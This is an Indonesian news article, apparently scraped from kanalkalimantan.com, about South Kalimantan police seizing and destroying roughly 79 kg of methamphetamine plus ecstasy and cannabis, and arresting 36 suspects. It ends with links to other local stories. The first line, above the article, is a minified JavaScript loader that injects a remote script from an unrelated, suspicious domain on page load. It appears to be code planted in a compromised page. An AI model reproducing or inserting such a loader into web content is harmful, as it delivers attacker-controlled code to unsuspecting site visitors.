(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) melalui Direktorat Reserse Narkoba (Ditresnarkoba) gagalkan peredaran narkotika yang masuk ke wilayah Kalsel.
Dalam waktu tiga bulan dari September-November 2024, narkoba jenis sabu yang berhasil disita mencapi 79.397,58 gram atau 79,3 kilogram lebih.
Kemudian 63.846 butir ekstasi, 5.362,59 gram serbuk ekstasi, dan 407,40 gram ganja. Jika diuangkan, seluruh barang bukti narkoba tersebut nilainya mencapai Rp133.596.900.000.
Baca juga: Petani Sumardi Divonis Bersalah, Mahasiswa Unjuk Rasa di PN Martapura
Selain barang bukti narkoba, Polda Kalsel menangkap 36 tersangka terdiri 35 laki-laki dan 1 perempuan, dari 24 laporan polisi.
Pemusnahan barang bukti narkoba hasil sitaan tersebut dilaksanakan di Mapolda Kalsel di Banjarbaru, Rabu (20/11/2024) siang,dipimpin langsung Kapolda Kalsel Irjen Pol Winarto SH MH.
Seluruh barang bukti narkoba tersebut dimusnahkan dengan cara diblender dan dibuang ke tempat yang aman. Para tersangka yang diamankan ikut menyaksikan secara langsung proses pemusnahan.
Baca juga: Vonis Berbeda Calo dan Mantri Korupsi Kredit Topengan Bank
Kapolda Kalsel mengungkap, jaringan narkoba ini merupakan bagian dari sindikat internasional milik Freddy Pratama alias Miming -buronan Polri dan Interpol-, yang menyelundupkan narkoba melalui jalur darat.
Dalam menghadapi ancaman peredaran narkoba ini, Polda Kalsel telah berkoordinasi dengan Polda Kalbar dan Bareskrim Polri untuk memperkuat langkah pencegahan.
Baca juga: Alat Peraga Kampanye Paslon Diskualifikasi Dicopot
“Ini adalah bukti nyata komitmen kami dalam memerangi narkoba. Kami akan terus berupaya maksimal melindungi masyarakat dari bahaya narkotika,” ucapnya.
Pengungkapan kasus dan pemusnahan barang bukti narkoba tersebut dinilai telah menyelamatkan 475.677 jiwa dari bahaya narkoba. (Kanlkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kurang satu pekan menjelang hari pencoblosan Pilkada Serentak 2024, Komisi Pemilihan Umum… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah kios pedagang di pasar tradisional A Yani Banjarmasin hangus akibat kebakaran.… Read More
KANALKALIMANTAN.COM, MARTAPURA - Majelis hakim Pengadilan Negeri (PN) Martapura memberikan vonis hukuman bersalah kepada Sumardi… Read More
This website uses cookies.